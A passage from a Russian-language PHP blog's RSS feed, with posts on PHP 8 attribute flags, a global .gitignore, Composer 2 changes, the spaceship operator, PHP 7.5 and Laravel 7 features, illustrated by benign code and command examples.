#[AttributeWithBitShift(4 ] 1, 4 #[ 1)]</code></pre><h2>Конфигурация атрибутов</h2><p>По умолчанию атрибуты могут быть добавлены в нескольких местах, как уже было сказано выше. Однако можно настроить их так, чтобы они могли использоваться только в определенных местах. Например, вы можете сделать так, чтобы ClassAttribute можно было использовать только на классах, и больше нигде. Включение этого поведения осуществляется путем передачи определенного флага Attribute в классе атрибута.</p><p>Это выглядит так:</p><p><br></p><pre class="line-numbers"><code class="language-php">#[Attribute(Attribute::TARGET_CLASS)]
class ClassAttribute
{
}</code></pre><p>Доступны следующие флаги:</p><p><br></p><pre class="line-numbers"><code class="language-php">Attribute::TARGET_CLASS
Attribute::TARGET_FUNCTION
Attribute::TARGET_METHOD
Attribute::TARGET_PROPERTY
Attribute::TARGET_CLASS_CONSTANT
Attribute::TARGET_PARAMETER
Attribute::TARGET_ALL</code></pre><p>Это флаги битовой маски, поэтому вы можете комбинировать их, используя двоичную операцию ИЛИ.</p><p><br></p><pre class="line-numbers"><code class="language-php">#[Attribute(Attribute::TARGET_METHOD|Attribute::TARGET_FUNCTION)]
class ClassAttribute
{
}</code></pre><p><br></p><p>Другой флаг конфигурации о повторяемости. По умолчанию один и тот же атрибут не может быть применен дважды, если он не помечен как повторяемый. Это делается так же, как целевая конфигурация, с битовым флагом.</p><p><br></p><pre class="line-numbers"><code class="language-php">#[Attribute(Attribute::IS_REPEATABLE)]
class ClassAttribute
{
}</code></pre><p>Обратите внимание, что все эти флаги проверяются только при вызове $attribute-&gt;newInstance(), а не ранее.<br></p><h2>Встроенные атрибуты</h2><p>Одним из основных вариантов использования атрибутов будет ядро ​​и расширения PHP. Одним из таких примеров является&nbsp;<span style="font-size: 1rem;">атрибут&nbsp;</span>#[Deprecated], </p><p><br></p><pre class="line-numbers"><code class="language-php">// an idea, not part of the RFC
use Php\Attributes\Deprecated;

#[Deprecated("Use bar() instead")]
function foo() {} </code></pre><p>а популярным примером является&nbsp;<span style="font-size: 1rem;">атрибут&nbsp;</span>#[Jit] - если вы не знаете, что это такое, то можете прочитать мой пост о том, <a href="https://sergeymukhin.com/blog/php-jit" target="_blank" style="background-color: rgb(255, 255, 255);">что такое JIT</a>.</p><p><br></p><pre class="line-numbers"><code class="language-php">use Opcache\Jit;

#[Jit]
function foo() {}</code></pre><p><br></p><p>Я уверен, что мы увидим все больше и больше встроенных атрибутов в будущем. В заключение, для тех, кто беспокоится о дженериках: синтаксис не будет конфликтовать с ними, если они когда-либо будут добавлены в PHP, так что мы в безопасности!</p><p><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/31</guid>
                <pubDate>2020-05-13T11:22:20+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Настройка глобального файла .gitignore]]></title>
                <link>https://sergeymukhin.com/blog/nastroyka-globalnogo-fayla-gitignore</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Настройка глобального файла .gitignore</h1><blockquote>Просматривая различные pull requests, можно часто видеть, как участники незаметно добавляют конфигурацию редактора в файл .gitignore репозитория</blockquote><p><br></p><pre class="line-numbers"><code class="language-powershell">  composer.lock
  package.lock
+ .vscode</code></pre><p>Такое поведение, когда каждый программист принимает свои&nbsp;<span style="font-size: 1rem;">правила&nbsp;</span>.gitignore, относящиеся к окружающей среде, приводит к тому, что у нас&nbsp; создается длинный список всякого мусора! Но мой или ваш репозиторий не должен заботиться о конфигурации вашего редактора.</p><p>Есть лучшее решение для этого: личный глобальный&nbsp;<span style="font-size: 1rem;">файл</span>&nbsp;.gitignore для всех ваших репозиториев. Вот как вы можете его настроить.</p><h2>Как создать глобальный .gitignore</h2><p>Сначала создайте&nbsp;<span style="font-size: 1rem;">файл</span>&nbsp;.gitignore для ваших глобальных правил, например, где-нибудь в своем домашнем каталоге.</p><p><br></p><pre class="line-numbers"><code class="language-powershell">touch ~/.gitignore</code></pre><p>Затем откройте его в любом текстовом редакторе и добавьте все файлы и папки, которые вы всегда хотите игнорировать. Вот как выглядит моя глобальная конфигурация:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">.phalcon
.idea</code></pre><p>Вероятно, у вас будет как минимум две записи в вашем глобальном .gitignore: одна для файлов, специфичных для операционной системы, и одна для файлов, специфичных для редактора.</p><p>Я использую платформу&nbsp;IntelliJ IDEA, поэтому мне нужно игнорировать папки .idea создаваемую тем же редактором кода PHPStorm. Если бы я был пользователем Mac, мне нужно было бы игнорировать, например,&nbsp;<span style="font-size: 1rem;">файлы&nbsp;</span>.DS_Store, создаваемые macOS. А если бы я был пользователем Windows с Visual Studio Code в качестве основного редактора, мой .gitignore файл, вероятно, выглядел бы так:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">Thumbs.db
.vscode</code></pre><p>Наконец, настройте git для использования нашего вновь созданного&nbsp;<span style="font-size: 1rem;">файла</span>&nbsp;~/.gitignore.</p><p><br></p><pre class="line-numbers"><code class="language-powershell">git config --global core.excludesfile ~/.gitignore</code></pre><p>Если вы пользователь Windows, вам нужно будет отформатировать путь по-другому.</p><p><br></p><pre class="line-numbers"><code class="language-powershell">git config --global core.excludesfile %USERPROFILE%\.gitignore</code></pre><p>&nbsp;Вот и все, больше никаких надоедливых настроек редактора в ваших коммитах!</p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/30</guid>
                <pubDate>2020-04-23T08:58:20+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Composer 2: что нового, что изменилось]]></title>
                <link>https://sergeymukhin.com/blog/composer-2-chto-novogo-i-izmenennogo</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Composer 2: что нового, что изменилось</h1><blockquote>Менеджер зависимостей PHP Composer, был выпущен около 8 лет назад, и его вторая основная версия выйдет уже в октябре 2020 года</blockquote><p>За эти годы <a href="https://getcomposer.org/" target="_blank">Composer</a>&nbsp;<span style="font-size: 1rem;">&nbsp;</span><span style="font-size: 1rem;">следовал стандартам PHP и&nbsp;</span>получил много новых функций. Composer v2 в основном&nbsp;<span style="font-size: 1rem;">будет</span>&nbsp;совместим с вашими существующими рабочими процессами, но в то же время предоставит еще несколько замечательных новых функций.&nbsp; Мелкие изменений в релизе предостаточно, ознакомиться с ними можно <a href="https://github.com/composer/composer/releases/tag/2.0.0" target="_blank">здесь</a>.</p><h2>Более быстрое время загрузки</h2><p>Одним из наиболее заметных изменений будет его производительность. Пакеты и метаданные загружаются параллельно, что может значительно сократить время загрузки пакетов.</p><p>Вот сравнение между composer v1.10.5 и v2 (40a35ab) для запуска composer require laravel/laravel. Тест был выполнен на пустом кеше, после чего был проведен новый тест после заполнения кеша. Результаты теста в среднем за 5 прогонов на потребительском оборудовании.<br></p><p><img src="/files/blog/2020/composer-2-chto-novogo-i-izmenennogo-lw2HHh.webp"></p><blockquote>Composer v2 установил laravel/laravel больше чем в 2 раза быстрее без кеширования.</blockquote><p>Повышение производительности происходит за счет параллельной загрузки метаданных пакета (которые также являются новыми конечными точками) и файлов zip пакета.</p><p>Когда установлен curl, несколько пакетов или вызовов API будут загружаться одновременно, что сокращает общее время загрузки. Кроме того, Composer v2 будет использовать <a href="https://http2.pro/" target="_blank">HTTP/2</a> и совместно использовать сеансы TLS и ответы DNS между HTTP-запросами для ускорения загрузки.<br></p><p>Кстати, для Composer v1 плагин<a href="https://github.com/hirak/prestissimo" target="_blank"> hirak/prestissimo</a> принес эти функции довольно давно.</p><h2>Частичная поддержка оффлайн</h2><p>Вы можете запретить Composer v2 выполнять любые сетевые запросы. Это может пригодиться, если вы хотите запустить тесты или если ваше интернет-соединение неисправно. Composer v2 попытается установить пакеты при условии, что файл&nbsp;<span style="font-size: 1rem;">composer.lock</span>&nbsp;существует и все пакеты и метаданные будут кэшированы.</p><p>Чтобы это работало, установите переменную окружения COMPOSER_DISABLE_NETWORK со значением 1. Файл&nbsp;<span style="font-size: 1rem;">&nbsp;</span>проекта&nbsp;<span style="font-size: 1rem;">composer.lock</span>&nbsp;должен обязательно присутствовать для осуществления работоспособности.</p><p><b>Обратите внимание, что это полностью отключит Composer от сетевых запросов. Это не будет работать как запасной механизм.</b><br></p><p>С установленной переменной среды вы можете использовать команду&nbsp;<span style="font-size: 1rem;">composer install</span>, как обычно. Composer выдаст предупреждение о том, что сеть отключена, но все равно продолжит работу.</p><p><br></p><pre class="line-numbers"><code class="language-powershell">https://repo.packagist.org could not be fully loaded (Network disabled, request canceled: https://repo.packagist.org/packages.json), package information was loaded from the local cache and may be out of date</code></pre><p>Если пакет не доступен в кеше, вы получите сообщение об ошибке:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">The required git reference for ayesh/php-timer is not in cache and network is disabled, aborting</code></pre><h2>Пробная поддержка require и remove команды</h2><p>У команды&nbsp;<span style="font-size: 1rem;">composer update</span>&nbsp;есть&nbsp;<span style="font-size: 1rem;">опция</span>&nbsp;--dry-run, которая запрещает Composer вносить какие-либо изменения, но просто отображает вывод в терминале.</p><p>Composer v2 также предоставляет&nbsp;<span style="font-size: 1rem;">опцию&nbsp;</span>--dry-run для команд composer require и composer remove, которые можно использовать для проверки установки/удаления пакета, не затрагивая реальные файлы проекта.</p><h2>Запуск от root'а требует подтверждения</h2><p>Плагины и скрипты Composer могут запускать произвольные команды в системе. Запуск Composer от имени root пользователя часто является плохой идеей, поскольку вредоносный плагин/скрипт может также выполнять команды&nbsp;<span style="font-size: 1rem;">root</span>.</p><p>До версии 2 Composer выдавал предупреждающее сообщение при попытке запустить команду как root:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">Do not run Composer as root/super user! See https://getcomposer.org/root for details</code></pre><p>С Composer версии 2 вы получите интерактивное подтверждение:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">Do not run Composer as root/super user! See https://getcomposer.org/root for details
Continue as root/super user [yes]?</code></pre><p>Это подтверждение не появится, если оно не поддерживается на вашем терминале, не будет интерактивным. Вы можете принудительно включить этот режим, передав команду -n/--no-interactionflag. Например:</p><p><br></p><pre class="line-numbers"><code class="language-powershell">composer install --no-interaction</code></pre><h2>Новый формат метаданных репозитория</h2><p>Composer v2 поддерживает новый формат метаданных репозитория. Традиционно файлы метаданных Composer представляли собой большие файлы JSON, которые требовали загрузки в несколько мегабайт. Новый формат облегчен, и сопровождающие хранилища предоставляют конечные точки URL для отдельных пакетов, которые Composer может запрашивать и кэшировать.</p><p>Packagist.org уже поддерживает этот формат. Если вы используете другие репозитории, ищите&nbsp;<span style="font-size: 1rem;">ключ&nbsp;</span>metadata-url в файле&nbsp;packages.json.</p><p><a href="https://repo.packagist.org/packages.json" target="_blank">Packagist возвращает</a> это:<br></p><p><br></p><pre class="line-numbers"><code class="language-json">{
    "packages": [],
    "metadata-url": "/p2/%package%.json",
    "provider-includes": {...}
    ...
}</code></pre><p>Когда metadata-url присутствует, Composer v2 будет использовать новую конечную точку метаформатов. Composer v1 продолжит использовать стандартный подход.</p><h2>Каноническая, фильтрационная и разрешенная поддержка для нескольких репозиториев</h2><p>Packagist.org - это хранилище по умолчанию для Composer. Но это не значит, что вы не можете использовать другие репозитории в своем проекте.</p><p>У Drupal есть официальный репозиторий Composer, а у WordPress есть неофициальный репозиторий, и, вероятно, у вашей команды/организации тоже есть.<br></p><p>Когда Composer ищет пакет, он запрашивает все настроенные репозитории и, наконец, репозиторий по умолчанию packagist.org (если не указано иное). С Composer версии 2 вы можете дополнительно контролировать работу Composer с несколькими репозиториями в одном проекте.<br></p><h2>Приоритеты хранилища</h2><p>В Composer v2 Composer будет искать пакеты во всех репозиториях, настроенных в свойстве&nbsp;<span style="font-size: 1rem;">repositories&nbsp;</span>composer.json,&nbsp; в порядке их установки. Если пакет найден в репозитории, Composer не будет искать этот пакет в каких-либо других репозиториях в дальнейшем.</p><h2>Канонические репозитории</h2><p>Composer v2 будет считать все репозитории каноническими, когда пакет найден в репозитории, репозитории с более низкими приоритетами не могут предоставить тот же пакет, даже если доступна более новая версия.</p><p>Канонические репозитории помогают предотвратить случайную установку пакетов из репозиториев с более низким приоритетом (например, packagist.org), когда пакет находится в частных или специфичных для пакета репозиториях. Без канонических репозиториев Composer может установить пакет из репозитория с более низким приоритетом, если найдена более новая версия.<br></p><p>Вы можете переопределить это поведение, пометив хранилище как не каноническое:<br></p><p><br></p><pre class="line-numbers"><code class="language-json">{
    ...
    "repositories": [
        {
            "type": "composer",
            "url": "https://example.org",
            "canonical": false
        }
    ]
    ...
}</code></pre><h2>Отфильтрованные хранилища</h2><p>Composer v2 поддерживает&nbsp;<span style="font-size: 1rem;">директивы&nbsp;</span>only и exclude в конфигурации хранилища. Они говорят Composer искать только пакеты с точным совпадением или совпадением с образцом в указанных хранилищах.</p><p><br></p><pre class="line-numbers"><code class="language-json">{
    "repositories":[
        {
            "type":"composer",
            "url":"https://packages.drupal.org/8",
            "only": ["drupal/*"]
        },
        {
            "type":"composer",
            "url":"https://wpackagist.org",
            "only": ["wpackagist-plugin/*", "wpackagist-theme/*"]
        }
    ],
}</code></pre><p>Composer будет искать пакеты, совпадающие с drupal/* в Drupal репо, а также wpackagist-plugin/* и wpackagist-theme/* в WPackagist репо. Если в этих репозиториях размещаются пакеты с именами других поставщиков, они не будут искаться и использоваться.</p><p>Если в этих хранилищах не размещен пакет, соответствующий only хранилищу, они все равно будут искаться другие хранилища в дальнейшем.<br></p><p>Вы можете указать конкретные имена пакетов в&nbsp;<span style="font-size: 1rem;">директиве&nbsp;</span>only, а также&nbsp;<span style="font-size: 1rem;">директиву&nbsp;</span>exclude в конфигурации репозитория, чтобы исключить использование определенных пакетов или шаблонов из определенного репозитория.</p><p><br></p><pre class="line-numbers"><code class="language-json">{
    "repositories":[
        {
            "type":"composer",
            "url":"https://example.com",
            "exclude": ["example/outdated-package"]
        }
    ],
}</code></pre><p>При указанных выше настройках все пакеты будут опробованы в example.com репозитории, кроме example/outdated-package. Одним из вариантов использования будет хранилище, в котором размещается более новая версия того же пакета, который вы хотите использовать вместо той, которая доступна на example.com.</p><h2>Pear хранилище удалено</h2><p>Около десяти лет назад PHP имел PEAR, или PHP Extension and Application Repository для установки повторно используемых пакетов. Composer, естественно, одержал победу благодаря своему приятному пользовательскому опыту, огромной открытости и простоте использования. Composer v1 поддерживал установку пакетов PEAR из<a href="https://pear.php.net/channels/" target="_blank"> каналов PEAR</a> , добавляя пользовательское хранилище с типом .pear</p><p>Вы все еще можете установить любые пакеты PEAR, которые были <a href="https://pear2.php.net/" target="_blank">размещены на </a>php.net, просто установив с использованием&nbsp;<span style="font-size: 1rem;">префикса&nbsp;</span>pear/ поставщика пакета. Поддержка пользовательских репозиториев PEAR удалена в Composer v2.</p><p>Ваши существующие пакеты PEAR с pear/ пакетами, вероятно, продолжат работать, если они переместились в pear/ пространства имен поставщика (что имеет место почти для каждого поддерживаемого пакета).<br></p><h2>Опция --no-suggest удалена</h2><p>Composer v2 удаляет&nbsp;<span style="font-size: 1rem;">параметр&nbsp;</span>--no-suggest, который был доступен в&nbsp;<span style="font-size: 1rem;">командах&nbsp;</span>require и update. Предлагаемые пакеты теперь всегда отображаются, но их описание ограничено одной строкой, чтобы предотвратить чрезмерно длинный вывод терминала.</p><p><br></p><pre class="line-numbers"><code class="language-powershell">[Symfony\Component\Console\Exception\RuntimeException]
  The "--no-suggest" option does not exist.</code></pre><p>Быстрый поиск в GitHub показывает <a href="https://github.com/search?l=YAML&amp;q=%27--no-suggest%22&amp;type=Code" target="_blank">более 400K репозиториев</a> с YAML-файлами (часто используемыми в конфигурации CI) с&nbsp;<span style="font-size: 1rem;">опцией&nbsp;</span>--no-suggest, которая выдаст ошибку выше с Composer v2.</p><h2>Блокировка, загрузка и установка улучшений рабочего процесса</h2><p>Composer v2 теперь имеет улучшенный рабочий процесс для установки пакетов и обновлений.</p><p>Во время установки или обновления все пакеты сначала блокируются (обновляются в composer.lock), а затем загружаются в кэш (если возможно, параллельно). После того, как все файлы успешно загружены или найдены в кеше, Composer извлекает их в каталог vendor-dir. Это предотвращает неисправное/неполное состояние в каталоге vendor в случае сбоя сети в середине процесса.<br></p><p>Кроме того,&nbsp;<span style="font-size: 1rem;">файл&nbsp;</span>vendor/composer/installed.json реорганизован для использования&nbsp;<span style="font-size: 1rem;">свойства&nbsp;</span>packages, в котором хранится вся информация о пакете (в отличие от корневого уровня в v1). Для каждого пакета его путь установки теперь хранится в install-path&nbsp;относительно&nbsp;<span style="font-size: 1rem;">файла</span>&nbsp;installed.json. Этот файл также хранит информацию о том,&nbsp;<span style="font-size: 1rem;">были ли установлены пакеты&nbsp;</span>require-dev. Поддерживаемые плагины могут использовать эту информацию для улучшения своих плагинов.</p><h2>Composer-plugin-api сейчас 2.0</h2><p>Это, вероятно, никого не удивит. API плагина, предоставляемый Composer v2, помечен 2.0. Это предотвратит установку плагинов, если они требуют&nbsp;<span style="font-size: 1rem;">ограничения&nbsp;</span>composer-plugin-api&nbsp; версии ^1.0.</p><p>Если вы поддерживаете плагин Composer, вам необходимо обновить эту зависимость, чтобы разрешить composer-plugin-api версии ^2.0. Может оказаться возможным поддерживать обе версии, если реализованы все новые методы интерфейса.<br></p><p>Прежде всего, плагины должны теперь реализовать&nbsp;<span style="font-size: 1rem;">методы</span>&nbsp;PluginInterface::deactivate() и PluginInterface::uninstall(). Вы можете взглянуть на другие реализации плагинов <a href="https://github.com/composer/composer/issues/8726" target="_blank">по этой проблеме</a>.</p><p><a href="https://github.com/composer/composer/blob/master/UPGRADE-2.0.md#user-content-for-integrators-and-plugin-authors" target="_blank">Этот раздел документации Composer</a> содержит больше информации и сводку изменений.<br></p><h2>Как обновиться до Composer v2?</h2><p>UPD 24.10.2020г.&nbsp;Если вы запустите&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-powershell">composer self-update</code></pre><p>на первой версии композера, то он предупредит вас, что доступна новая стабильная основная версия Composer, и вы можете обновится до 2 версии с помощью </p><p><br></p><pre class="line-numbers"><code class="language-powershell">composer self-update --2</code></pre><p>Если у вас есть плагины, которые не работают, их можно временно отключить с помощью </p><p><br></p><pre class="line-numbers"><code class="language-powershell">composer --no-plugins</code></pre><p>Если у вас возникнут проблемы, вы можете откатиться до первого композера в любое время, используя</p><pre class="line-numbers"><code class="language-html">composer self-update --1</code></pre><p>Надеюсь, благодаря этому все смогут поэкспериментировать с новым релизом. Если вы обнаружите какие-либо ошибки или у вас есть предложения, создайте issue  или pull-запрос .</p><p>Наконец, давайте потратим немного времени на то, чтобы поблагодарить <a href="https://github.com/Seldaek" target="_blank">Jordi</a>, <a href="https://github.com/naderman" target="_blank">Nils</a> и других участников за огромные усилия по переводу Composer на PHP. Composer изменил PHP, каким мы его знали в прошлом десятилетии, сделал возможным многое из того, что мы делаем сегодня с PHP. Спасибо!</p><h2>Что дальше?</h2><p>Composer 2.0 поддерживает PHP 5.3+, который на данный момент уже очень устарел и не дает в должной степени поддерживать ваш код. Разработчики приложили усилия, чтобы убедиться, что каждый пользователь Composer без проблем может перейти на Composer 2, но так же они планируют отказаться от поддержки версий EOL PHP в следующих выпусках.&nbsp;</p><p>Что касается Composer 1.x, то сейчас он более-менее подходит к концу жизненного цикла . В него также периодически будут вноситься критические исправления, если что-то произойдет, но цель для всех - как можно скорее перейти на версию 2.x.<br></p><p>&nbsp;</p><p><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/29</guid>
                <pubDate>2020-04-16T08:57:20+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Оператор космического корабля в PHP <=>]]></title>
                <link>https://sergeymukhin.com/blog/operator-kosmicheskogo-korablya-v-php</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Оператор космического корабля в PHP <=></h1><blockquote>В PHP 7 появился оператор комбинированного сравнения под названием «оператор космического корабля» (<=>)</blockquote><p><span style="font-size: 1rem;">Этот оператор является трехсторонним оператором сравнения. Он&nbsp;</span>делает сравнение двух выражений, т.е. двух его операндов, скажем, $a и $b, и возвращает -1, 0 или 1, когда $a соответственно меньше, равно или больше чем $b.&nbsp;</p><p><br></p><pre class="line-numbers"><code class="language-php">$c = $a &lt;=&gt; $b;
//эквивалентно
$c = ($a &lt; $b) ? -1 : (($a &gt; $b) ? 1 : 0);</code></pre><p>Итак, еще раз: оператор космического корабля ( &lt;=&gt;) возвращает -1, если левая сторона меньше, 0, если значения равны, и 1, если левая сторона больше. Он может использоваться для всех общих значений PHP с той же семантикой, что и &lt;, &lt;=, ==,&gt; =,&gt;. Этот оператор похож по поведению на strcmp() или version_compare(). Этот оператор может использоваться с целыми числами, числами с плавающей точкой, строками, массивами, объектами и т.д.<br></p><p>Вот еще несколько примеров:</p><p><br></p><pre class="line-numbers"><code class="language-php">&lt;?php
// целые числа
echo 1 &lt;=&gt; 1; // 0
echo 1 &lt;=&gt; 2; // -1
echo 2 &lt;=&gt; 1; // 1

// Floats
echo 1.5 &lt;=&gt; 1.5; // 0
echo 1.5 &lt;=&gt; 2.5; // -1
echo 2.5 &lt;=&gt; 1.5; // 1
 
// Строки
echo "a" &lt;=&gt; "a"; // 0
echo "a" &lt;=&gt; "b"; // -1
echo "b" &lt;=&gt; "a"; // 1

// Массивы
echo [] &lt;=&gt; []; // 0
echo [1, 2, 3] &lt;=&gt; [1, 2, 3]; // 0
echo [1, 2, 3] &lt;=&gt; []; // 1
echo [1, 2, 3] &lt;=&gt; [1, 2, 1]; // 1
echo [1, 2, 3] &lt;=&gt; [1, 2, 4]; // -1

// Объекты
$a = (object) ["a" =&gt; "&lt;span class="hiddenErrors" pre=""&gt;&lt;span class="hiddenErrors" pre=""&gt;b"]; 
$b&lt;/span&gt;&lt;/span&gt; = (object) ["a" =&gt; "b"]; 
echo $a &lt;=&gt; $b; // 0
  
$a = (object) ["a" =&gt; "b"]; 
$b = (object) ["a" =&gt; "c"]; 
echo $a &lt;=&gt; $b; // -1
  
$a = (object) ["a" =&gt; "c"]; 
$b = (object) ["a" =&gt; "b"]; 
echo $a &lt;=&gt; $b; // 1
  
// сравниваются только значения
$a = (object) ["a" =&gt; "b"]; 
$b = (object) ["b" =&gt; "b"]; 
echo $a &lt;=&gt; $b; // 0</code></pre><p><br></p><p><span style="color: rgb(40, 35, 49); font-size: 38px; font-weight: 700;">Хитрый трюк</span><br></p><p>Но, оказывается, многие из нас часто забывают о цели оператора. Итак, вот удобный, но эффективный прием, чтобы вспомнить&nbsp;<span style="font-size: 1rem;">довольно быстро</span>, что этот оператор делает.</p><p>Вам нужно заменить оператор космического корабля (&lt;=&gt;) знаком минус (-) . Если результат отрицательный, 0 или положительный, выражение вернет -1, 0 или 1 соответственно. Как видите, теперь легче вспомнить, когда в игру вступает аналогия.</p><p><br></p><pre class="line-numbers"><code class="language-php">$a = 5;
$b = 7;
$c = $a - $b;
// -2 равное -1 при &lt;=&gt;
$a = 3;
$b = 3;
$c = $a - $b;
// 0 равное 0 при &lt;=&gt;
$a = 7;
$b = 5;
$c = $a - $b;
// 2 равное 1 при &lt;=&gt;
</code></pre><p><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/28</guid>
                <pubDate>2020-03-15T06:32:01+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Когда выйдет PHP 7.5]]></title>
                <link>https://sergeymukhin.com/blog/php-75-ne-sushchestvuet</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Когда выйдет PHP 7.5</h1><blockquote>Я замечаю, что многие люди спрашивают в различных сообществах, когда выйдет PHP 7.5</blockquote><p>Конечно, возможно, отчасти&nbsp;<span style="font-size: 1rem;">(!точно!)</span>&nbsp;это немного хайповый пост, но все же просвящу людей, которые ищут информацию о PHP 7.5</p><blockquote>PHP 7.5 не будет существовать!</blockquote><p>Ну да все так просто, согласно <a href="https://twitter.com/nikita_ppv/status/1226791766088704000" target="_blank">сообщению Никиты</a>&nbsp;за этот февраль, <a href="https://sergeymukhin.com/blog/novoe-v-php-74" target="_blank">PHP 7.4</a> является последней минорной версией PHP 7. Следующей версией будет уже <a href="https://sergeymukhin.com/blog/chto-novogo-v-php-8" target="_blank">PHP 8.0</a>.</p><h2>Дата выхода PHP 7.5</h2><p>Релиза PHP 7.5 не будет. Всем привет)<br></p><p><br></p>]]></description>
                <author><![CDATA[Сергей Мухин]]></author>
                <guid>https://sergeymukhin.com/27</guid>
                <pubDate>2020-03-10T04:58:22+00:00</pubDate>
                            </item>
                    <item>
                <title><![CDATA[Что нового в Laravel 7.0]]></title>
                <link>https://sergeymukhin.com/blog/chto-novogo-v-laravel-70</link>
                <description><![CDATA[<h1 itemprop="headline" class="fn__maintitle">Что нового в Laravel 7.0</h1><blockquote>Laravel 7 вышла с новыми интересными функциями и множеством дополнительных вещей, о которых, думаю, вам интересно буде узнать.</blockquote><h2>Схема управления версиями</h2><p>Фреймворк Laravel, как и многие другие сторонние пакеты поддерживают семантическую версионность -&nbsp;<a href="https://semver.org/" target="_blank">Semantic Versioning</a> . Основные выпуски платформы выпускаются каждые шесть месяцев (примерно февраль, август), в то время как небольшие выпуски и патчи могут выпускаться довольно часто, хоть каждую неделю. Незначительные и патч-релизы никогда не должны содержать критических изменений.</p><p>Конечно при работе с платформой Laravel или ее компонентам вы всегда должны использовать конкретные версии, поскольку основные выпуски Laravel действительно содержат критические изменения, иногда руша совместимость с предыдущими версиями. Однако ларавеловцы всегда стремимся к тому, чтобы мы могли обновиться до новой основной версии за один день или даже меньше.</p><h2>Политика поддержки</h2><p>Для выпусков LTS, таких как Laravel 6, исправления ошибок предоставляются в течение 2 лет, а исправления безопасности - в течение 3 лет. Эти выпуски предоставляют самое длинное окно поддержки и обслуживания. Для общих выпусков исправления ошибок предоставляются в течение 6 месяцев, а исправления безопасности - в течение 1 года. Для всех дополнительных библиотек, включая Lumen, только последний выпуск получает исправления ошибок.&nbsp;</p><table class="table table-bordered"><tbody><tr><td>Версия<br></td><td>Выпуск<br></td><td>Исправление ошибок до<br></td><td>Исправления безопасности до<br></td></tr><tr><td>5,5 (LTS)<br></td><td>30 августа 2017г.<br></td><td>30 августа 2019г.<br></td><td>30 августа 2020г.<br></td></tr><tr><td>5,6<br></td><td>7 февраля 2018г.<br></td><td>7 августа 2018г.<br></td><td>7 февраля 2019г.<br></td></tr><tr><td>5,7<br></td><td>4 сентября 2018г.<br></td><td>4 марта 2019г.<br></td><td>4 сентября 2019г.<br></td></tr><tr><td>5,8<br></td><td>26 февраля 2019г.<br></td><td>26 августа 2019г.<br></td><td>26 февраля 2020г.<br></td></tr><tr><td>6 (LTS)<br></td><td>3 сентября 2019г.<br></td><td>3 сентября 2021г.<br></td><td>3 сентября 2022г.<br></td></tr><tr><td>7<br></td><td>3 марта 2020г.<br></td><td>3 сентября 2020г.<br></td><td>3 марта 2021г.<br></td></tr></tbody></table><h2>Laravel 7</h2><p>Laravel 7 продолжает улучшения, сделанные в Laravel 6.x. В Laravel 7 представлены пользовательские преобразования Eloquent, увеличение скорости маршрутизации, Laravel Airlock, теги компонентов Blade, fluent операции со строками, HTTP-клиент, ориентированный на разработчиков, поддержка CORS от первого лица, улучшенная область видимости для привязки модели маршрута, настройка заглушки, улучшения очереди базы данных, множественные почтовые драйверы, преобразование времени запроса, новая команда artisan для тестирования и множество других исправлений ошибок и улучшений юзабилити.</p><p>Так же стоит учитывать, что минимальная версия PHP теперь PHP 7.2.5 (было 7.2.0).</p><h2>Laravel Airlock</h2><p>Laravel Airlock - это официальный пакет для аутентификации по API.</p><p>Он предоставляет простую систему аутентификации для SPA, мобильных приложений и простой APIS на основе токенов. Это позволяет каждому пользователю вашего приложения создавать несколько токенов API для своей учетной записи.</p><h2>Zttp для HTTP-клиентов</h2><p>С Zttp теперь&nbsp;<span style="font-size: 1rem;">сделать HTTP-запрос к конечной точке API будет проще и чище</span>.&nbsp;Оболочка Laravel вокруг Guzzle сфокусирована на наиболее распространенных сценариях использования и прекрасном опыте разработчиков. Например, клиент упрощает POST взаимодействие с данными JSON:</p><pre class="line-numbers"><code class="language-php">use Illuminate\Support\Facades\Http;

$response = Http::withHeaders([
    'X-First' =&gt; 'foo'
    'X-Second' =&gt; 'bar'
])-&gt;post('http://test.com/users', [
    'name' =&gt; 'Taylor',
]);

return $response['id'];</code></pre><p>Кроме того, HTTP-клиент предоставляет фантастические, эргономичные функции тестирования:</p><pre class="line-numbers"><code class="language-php">Http::fake([
    // Stub a JSON response for GitHub endpoints...
    'github.com/*' =&gt; Http::response(['foo' =&gt; 'bar'], 200, ['Headers']),

    // Stub a string response for Google endpoints...
    'google.com/*' =&gt; Http::response('Hello World', 200, ['Headers']),

    // Stub a series of responses for Facebook endpoints...
    'facebook.com/*' =&gt; Http::sequence()
                            -&gt;push('Hello World', 200)
                            -&gt;push(['foo' =&gt; 'bar'], 200)
                            -&gt;pushStatus(404),
]);</code></pre><h2>Поддержка CORS</h2><p>Теперь Laravel 7 поддерживает CORS (Cross-Origin Resource Sharing) из коробки. Каждый разработчик сталкивается с проблемой CORS во время разработки API. Теперь Laravel 7 автоматически отвечает на ваш запрос OPTION с вашим настроенным значением. Midleware HandledCors позаботится обо всем, что Laravel 7 предоставляет из коробки.</p><h2>Пользовательские Eloquent Cast</h2><p>Пользовательский кастинг Eloquent в Laravel 7 - еще одна интересная особенность. Эти функции дадут вам возможность добавлять ваши собственные касты.</p><pre class="line-numbers"><code class="language-php">&lt;?php
use Illuminate\Contracts\Database\Eloquent\CastsAttributes;
class Json implements CastsAttributes
{
    public function get($model, $key, $value, $attributes)
    {
        return json_decode($value, true);
    }
    public function set($model, $key, $value, $attributes)
    {
        return json_encode($value);
    }
